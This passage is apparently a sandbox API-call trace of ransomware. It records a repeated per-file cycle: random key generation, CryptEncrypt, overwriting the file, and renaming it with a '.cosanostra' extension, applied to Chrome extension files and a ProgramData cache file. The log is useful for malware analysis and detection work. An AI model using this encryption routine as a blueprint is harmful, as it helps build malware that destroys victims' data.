CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f968 | out: pbBuffer=0x251f968) returned 1 [0085.954] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f960*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f960*=0x30) returned 1 [0085.954] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0085.957] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 155 [0085.957] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.957] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff24, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.957] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xdc, lpNumberOfBytesWritten=0x251f924, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x251f924*=0xdc, lpOverlapped=0x0) returned 1 [0085.958] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.958] WriteFile (in: hFile=0x190, lpBuffer=0x251f964*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f924, lpOverlapped=0x0 | out: lpBuffer=0x251f964*, lpNumberOfBytesWritten=0x251f924*=0x4, lpOverlapped=0x0) returned 1 [0085.958] WriteFile (in: hFile=0x190, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f924, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f924*=0x30, lpOverlapped=0x0) returned 1 [0085.958] CloseHandle (hObject=0x190) returned 1 [0085.958] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json.cosanostra")) returned 1 [0085.960] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f960 | out: pbBuffer=0x251f960) returned 1 [0085.960] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f958*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f958*=0x30) returned 1 [0085.960] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0085.964] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 155 [0085.964] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.965] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.965] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x251f91c, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x251f91c*=0xe2, lpOverlapped=0x0) returned 1 [0085.965] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.965] WriteFile (in: hFile=0x190, lpBuffer=0x251f95c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f91c, lpOverlapped=0x0 | out: lpBuffer=0x251f95c*, lpNumberOfBytesWritten=0x251f91c*=0x4, lpOverlapped=0x0) returned 1 [0085.965] WriteFile (in: hFile=0x190, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f91c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f91c*=0x30, lpOverlapped=0x0) returned 1 [0085.965] CloseHandle (hObject=0x190) returned 1 [0085.966] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json.cosanostra")) returned 1 [0086.024] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f958 | out: pbBuffer=0x251f958) returned 1 [0086.024] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f950*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f950*=0x30) returned 1 [0086.024] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0086.044] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 155 [0086.044] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.044] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.044] WriteFile (in: hFile=0x178, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x251f914, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x251f914*=0xd8, lpOverlapped=0x0) returned 1 [0086.045] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.045] WriteFile (in: hFile=0x178, lpBuffer=0x251f954*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f914, lpOverlapped=0x0 | out: lpBuffer=0x251f954*, lpNumberOfBytesWritten=0x251f914*=0x4, lpOverlapped=0x0) returned 1 [0086.045] WriteFile (in: hFile=0x178, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f914, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f914*=0x30, lpOverlapped=0x0) returned 1 [0086.045] CloseHandle (hObject=0x178) returned 1 [0086.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json.cosanostra")) returned 1 [0086.046] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f950 | out: pbBuffer=0x251f950) returned 1 [0086.046] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f948*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f948*=0x30) returned 1 [0086.046] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.078] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 81 [0086.078] StrStrW (lpFirst="state.rsm", lpSrch=".txt") returned 0x0 [0086.079] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffd66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.079] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x29a, lpNumberOfBytesWritten=0x251f90c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f90c*=0x29a, lpOverlapped=0x0) returned 1 [0086.079] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.079] WriteFile (in: hFile=0x184, lpBuffer=0x251f94c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f90c, lpOverlapped=0x0 | out: lpBuffer=0x251f94c*, lpNumberOfBytesWritten=0x251f90c*=0x4, lpOverlapped=0x0) returned 1 [0086.079] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f90c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f90c*=0x30, lpOverlapped=0x0) returned 1 [0086.079] CloseHandle (hObject=0x184) returned 1 [0086.079] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.cosanostra" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.cosanostra")) returned 1 [0086.151] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f948 | out: pbBuffer=0x251f948) returned 1 [0086.152] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f940*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f940*=0x30) returned 1 [0086.152] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.152] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 155 [0086.152] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.153] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.153] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xc1, lpNumberOfBytesWritten=0x251f904, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f904*=0xc1, lpOverlapped=0x0) returned 1 [0086.153] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.153] WriteFile (in: hFile=0x184, lpBuffer=0x251f944*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f904, lpOverlapped=0x0 | out: lpBuffer=0x251f944*, lpNumberOfBytesWritten=0x251f904*=0x4, lpOverlapped=0x0) returned 1 [0086.153] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f904, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f904*=0x30, lpOverlapped=0x0) returned 1 [0086.153] CloseHandle (hObject=0x184) returned 1 [0086.153] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json.cosanostra")) returned 1 [0086.155] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f940 | out: pbBuffer=0x251f940) returned 1 [0086.155] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f938*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f938*=0x30) returned 1 [0086.155] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.156] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 155 [0086.156] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.156] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.157] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0x251f8fc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8fc*=0xac, lpOverlapped=0x0) returned 1 [0086.157] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.157] WriteFile (in: hFile=0x184, lpBuffer=0x251f93c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8fc, lpOverlapped=0x0 | out: lpBuffer=0x251f93c*, lpNumberOfBytesWritten=0x251f8fc*=0x4, lpOverlapped=0x0) returned 1 [0086.157] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8fc*=0x30, lpOverlapped=0x0) returned 1 [0086.157] CloseHandle (hObject=0x184) returned 1 [0086.157] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json.cosanostra")) returned 1 [0086.158] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f940 | out: pbBuffer=0x251f940) returned 1 [0086.158] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f938*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f938*=0x30) returned 1 [0086.158] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.158] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 155 [0086.158] StrStrW (lpFirst="contentscript_bin_prod.js", lpSrch=".txt") returned 0x0 [0086.182] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffeefd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.182] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x1103, lpNumberOfBytesWritten=0x251f8fc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8fc*=0x1103, lpOverlapped=0x0) returned 1 [0086.182] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.183] WriteFile (in: hFile=0x184, lpBuffer=0x251f93c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8fc, lpOverlapped=0x0 | out: lpBuffer=0x251f93c*, lpNumberOfBytesWritten=0x251f8fc*=0x4, lpOverlapped=0x0) returned 1 [0086.183] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8fc*=0x30, lpOverlapped=0x0) returned 1 [0086.183] CloseHandle (hObject=0x184) returned 1 [0086.183] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.cosanostra")) returned 1 [0086.184] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f938 | out: pbBuffer=0x251f938) returned 1 [0086.184] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f930*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f930*=0x30) returned 1 [0086.184] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.185] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 155 [0086.185] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.244] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffe7d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.244] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x183, lpNumberOfBytesWritten=0x251f8f4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8f4*=0x183, lpOverlapped=0x0) returned 1 [0086.244] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.244] WriteFile (in: hFile=0x184, lpBuffer=0x251f934*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8f4, lpOverlapped=0x0 | out: lpBuffer=0x251f934*, lpNumberOfBytesWritten=0x251f8f4*=0x4, lpOverlapped=0x0) returned 1 [0086.244] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8f4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8f4*=0x30, lpOverlapped=0x0) returned 1 [0086.244] CloseHandle (hObject=0x184) returned 1 [0086.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json.cosanostra")) returned 1 [0086.250] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f930 | out: pbBuffer=0x251f930) returned 1 [0086.250] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f928*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f928*=0x30) returned 1 [0086.250] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 